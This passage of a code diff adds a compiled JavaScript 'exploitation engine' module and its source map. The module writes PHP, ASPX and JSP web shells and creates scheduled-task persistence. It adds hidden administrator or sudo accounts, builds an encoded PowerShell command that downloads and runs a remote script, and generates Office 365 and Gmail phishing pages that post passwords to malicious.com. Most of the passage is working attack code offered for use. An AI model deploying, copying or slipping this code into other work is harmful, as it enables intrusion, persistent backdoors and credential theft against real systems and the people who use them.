|
|
68
|
+
evidence: 'Cron job added for memory execution',
|
|
69
|
+
technique: 'cron-memory-execution'
|
|
70
|
+
};
|
|
71
|
+
}
|
|
72
|
+
}
|
|
73
|
+
catch (error) {
|
|
74
|
+
return {
|
|
75
|
+
success: false,
|
|
76
|
+
output: `Fileless persistence failed: ${error}`,
|
|
77
|
+
evidence: '',
|
|
78
|
+
technique: 'fileless-persistence'
|
|
79
|
+
};
|
|
80
|
+
}
|
|
81
|
+
}
|
|
82
|
+
/**
|
|
83
|
+
* Deploy web shell
|
|
84
|
+
*/
|
|
85
|
+
async deployWebShell(targetPath, password = 'pass123') {
|
|
86
|
+
try {
|
|
87
|
+
// PHP web shell
|
|
88
|
+
const phpWebShell = `<?php if(isset($_POST['${password}'])){system($_POST['${password}']);}?>`;
|
|
89
|
+
// ASP web shell
|
|
90
|
+
const aspWebShell = `<%@ Page Language="C#" %><%@ Import Namespace="System.Diagnostics" %><script runat="server">void Page_Load(object sender, EventArgs e){if(Request.Form["${password}"] != null){Process.Start("cmd.exe", "/c " + Request.Form["${password}"]);}}</script>`;
|
|
91
|
+
// JSP web shell
|
|
92
|
+
const jspWebShell = `<%@ page import="java.util.*,java.io.*"%><% if (request.getParameter("${password}") != null) { Process p = Runtime.getRuntime().exec(request.getParameter("${password}")); } %>`;
|
|
93
|
+
// Write web shell
|
|
94
|
+
writeFileSync(`${targetPath}/shell.php`, phpWebShell);
|
|
95
|
+
writeFileSync(`${targetPath}/shell.aspx`, aspWebShell);
|
|
96
|
+
writeFileSync(`${targetPath}/shell.jsp`, jspWebShell);
|
|
97
|
+
return {
|
|
98
|
+
success: true,
|
|
99
|
+
output: 'Multiple web shells deployed',
|
|
100
|
+
evidence: `Web shells created at ${targetPath}`,
|
|
101
|
+
technique: 'web-shell-deployment'
|
|
102
|
+
};
|
|
103
|
+
}
|
|
104
|
+
catch (error) {
|
|
105
|
+
return {
|
|
106
|
+
success: false,
|
|
107
|
+
output: `Web shell deployment failed: ${error}`,
|
|
108
|
+
evidence: '',
|
|
109
|
+
technique: 'web-shell-deployment'
|
|
110
|
+
};
|
|
111
|
+
}
|
|
112
|
+
}
|
|
113
|
+
/**
|
|
114
|
+
* Create persistence via scheduled tasks
|
|
115
|
+
*/
|
|
116
|
+
async createScheduledPersistence() {
|
|
117
|
+
try {
|
|
118
|
+
const currentPlatform = platform();
|
|
119
|
+
if (currentPlatform === 'win32') {
|
|
120
|
+
// Windows scheduled task
|
|
121
|
+
const taskCommand = `schtasks /create /tn "SystemUpdate" /tr "cmd.exe /c echo persistence > C:\\temp\\persistence.txt" /sc minute /mo 1`;
|
|
122
|
+
execSync(taskCommand, { stdio: 'pipe' });
|
|
123
|
+
return {
|
|
124
|
+
success: true,
|
|
125
|
+
output: 'Scheduled task created for persistence',
|
|
126
|
+
evidence: 'SystemUpdate task created',
|
|
127
|
+
technique: 'scheduled-task-persistence'
|
|
128
|
+
};
|
|
129
|
+
}
|
|
130
|
+
else {
|
|
131
|
+
// Linux at job
|
|
132
|
+
const atCommand = `echo 'echo "persistence" > /tmp/persistence.txt' | at now + 1 minute`;
|
|
133
|
+
execSync(atCommand, { stdio: 'pipe' });
|
|
134
|
+
return {
|
|
135
|
+
success: true,
|
|
136
|
+
output: 'At job created for persistence',
|
|
137
|
+
evidence: 'At job scheduled',
|
|
138
|
+
technique: 'at-job-persistence'
|
|
139
|
+
};
|
|
140
|
+
}
|
|
141
|
+
}
|
|
142
|
+
catch (error) {
|
|
143
|
+
return {
|
|
144
|
+
success: false,
|
|
145
|
+
output: `Scheduled persistence failed: ${error}`,
|
|
146
|
+
evidence: '',
|
|
147
|
+
technique: 'scheduled-persistence'
|
|
148
|
+
};
|
|
149
|
+
}
|
|
150
|
+
}
|
|
151
|
+
/**
|
|
152
|
+
* Generate obfuscated payloads
|
|
153
|
+
*/
|
|
154
|
+
generateObfuscatedPayloads() {
|
|
155
|
+
const payloads = [];
|
|
156
|
+
// Base64 encoded PowerShell
|
|
157
|
+
const base64PowerShell = 'SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AZQB4AGEAbQBwAGwAZQAuAGMAbwBtAC8AcABhAHkAbABvAGEAZAAuAHAAcwAxACcAKQA=';
|
|
158
|
+
payloads.push({
|
|
159
|
+
type: 'base64-powershell',
|
|
160
|
+
platform: 'windows',
|
|
161
|
+
content: `powershell -EncodedCommand ${base64PowerShell}`
|
|
162
|
+
});
|
|
163
|
+
// XOR encoded shellcode
|
|
164
|
+
const xorShellcode = '\x48\x31\xc0\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x4d\x31\xc0\x6a';
|
|
165
|
+
payloads.push({
|
|
166
|
+
type: 'xor-shellcode',
|
|
167
|
+
platform: 'linux',
|
|
168
|
+
content: `echo -ne '${xorShellcode}' > /tmp/shellcode.bin`
|
|
169
|
+
});
|
|
170
|
+
// JavaScript obfuscation
|
|
171
|
+
const obfuscatedJS = `eval(String.fromCharCode(97,108,101,114,116,40,34,88,83,83,34,41))`;
|
|
172
|
+
payloads.push({
|
|
173
|
+
type: 'obfuscated-js',
|
|
174
|
+
platform: 'cross-platform',
|
|
175
|
+
content: obfuscatedJS
|
|
176
|
+
});
|
|
177
|
+
return payloads;
|
|
178
|
+
}
|
|
179
|
+
/**
|
|
180
|
+
* Create DNS tunneling setup
|
|
181
|
+
*/
|
|
182
|
+
async setupDnsTunneling(domain) {
|
|
183
|
+
try {
|
|
184
|
+
// Create DNS tunneling configuration
|
|
185
|
+
const dnsConfig = `server=8.8.8.8\naddress=/${domain}/127.0.0.1`;
|
|
186
|
+
writeFileSync('/tmp/dnsmasq.conf', dnsConfig);
|
|
187
|
+
return {
|
|
188
|
+
success: true,
|
|
189
|
+
output: 'DNS tunneling configuration created',
|
|
190
|
+
evidence: `DNS config for domain ${domain}`,
|
|
191
|
+
technique: 'dns-tunneling'
|
|
192
|
+
};
|
|
193
|
+
}
|
|
194
|
+
catch (error) {
|
|
195
|
+
return {
|
|
196
|
+
success: false,
|
|
197
|
+
output: `DNS tunneling setup failed: ${error}`,
|
|
198
|
+
evidence: '',
|
|
199
|
+
technique: 'dns-tunneling'
|
|
200
|
+
};
|
|
201
|
+
}
|
|
202
|
+
}
|
|
203
|
+
/**
|
|
204
|
+
* Generate phishing templates
|
|
205
|
+
*/
|
|
206
|
+
generatePhishingTemplates() {
|
|
207
|
+
const templates = [];
|
|
208
|
+
// Office 365 phishing
|
|
209
|
+
const office365Template = `<!DOCTYPE html><html><body><form action="http://malicious.com/collect" method="post"><input type="email" name="username" placeholder="Email"><input type="password" name="password" placeholder="Password"><button>Sign In</button></form></body></html>`;
|
|
210
|
+
templates.push({
|
|
211
|
+
type: 'office365-phishing',
|
|
212
|
+
platform: 'web',
|
|
213
|
+
content: office365Template
|
|
214
|
+
});
|
|
215
|
+
// Gmail phishing
|
|
216
|
+
const gmailTemplate = `<!DOCTYPE html><html><body style="font-family: Arial;"><div style="max-width: 400px; margin: 50px auto; padding: 20px; border: 1px solid #ddd;"><img src="https://www.gstatic.com/images/branding/product/1x/gsa_512dp.png" width="50" style="display: block; margin: 0 auto;"><h2 style="text-align: center;">Sign in</h2><form action="http://malicious.com/gmail" method="post"><input type="email" name="email" placeholder="Email or phone" style="width: 100%; padding: 10px; margin: 10px 0; border: 1px solid #ddd;"><input type="password" name="password" placeholder="Enter your password" style="width: 100%; padding: 10px; margin: 10px 0; border: 1px solid #ddd;"><button style="width: 100%; padding: 10px; background: #1a73e8; color: white; border: none;">Next</button></form></div></body></html>`;
|
|
217
|
+
templates.push({
|
|
218
|
+
type: 'gmail-phishing',
|
|
219
|
+
platform: 'web',
|
|
220
|
+
content: gmailTemplate
|
|
221
|
+
});
|
|
222
|
+
return templates;
|
|
223
|
+
}
|
|
224
|
+
/**
|
|
225
|
+
* Create backdoor user account
|
|
226
|
+
*/
|
|
227
|
+
async createBackdoorUser(username, password) {
|
|
228
|
+
try {
|
|
229
|
+
const currentPlatform = platform();
|
|
230
|
+
if (currentPlatform === 'win32') {
|
|
231
|
+
// Windows user creation
|
|
232
|
+
const userCommand = `net user ${username} ${password} /add && net localgroup administrators ${username} /add`;
|
|
233
|
+
execSync(userCommand, { stdio: 'pipe' });
|
|
234
|
+
return {
|
|
235
|
+
success: true,
|
|
236
|
+
output: `Backdoor user ${username} created with admin privileges`,
|
|
237
|
+
evidence: `User account ${username} added to administrators`,
|
|
238
|
+
technique: 'backdoor-user-creation'
|
|
239
|
+
};
|
|
240
|
+
}
|
|
241
|
+
else {
|
|
242
|
+
// Linux user creation
|
|
243
|
+
const userCommand = `useradd -m -s /bin/bash ${username} && echo '${username}:${password}' | chpasswd && usermod -aG sudo ${username}`;
|
|
244
|
+
execSync(userCommand, { stdio: 'pipe' });
|
|
245
|
+
return {
|
|
246
|
+
success: true,
|
|
247
|
+
output: `Backdoor user ${username} created with sudo privileges`,
|
|
248
|
+
evidence: `User ${username} added to sudo group`,
|
|
249
|
+
technique: 'backdoor-user-creation'
|
|
250
|
+
};
|
|
251
|
+
}
|
|
252
|
+
}
|
|
253
|
+
catch (error) {
|
|
254
|
+
return {
|
|
255
|
+
success: false,
|
|
256
|
+
output: `Backdoor user creation failed: ${error}`,
|
|
257
|
+
evidence: '',
|
|
258
|
+
technique: 'backdoor-user-creation'
|
|
259
|
+
};
|
|
260
|
+
}
|
|
261
|
+
}
|
|
262
|
+
}
|
|
263
|
+
//# sourceMappingURL=exploitationEngine.js.map
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
{"version":3,"file":"exploitationEngine.js","sourceRoot":"","sources":["../../../src/security/offensive/exploitationEngine.ts"],"names":[],"mappings":"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"}
|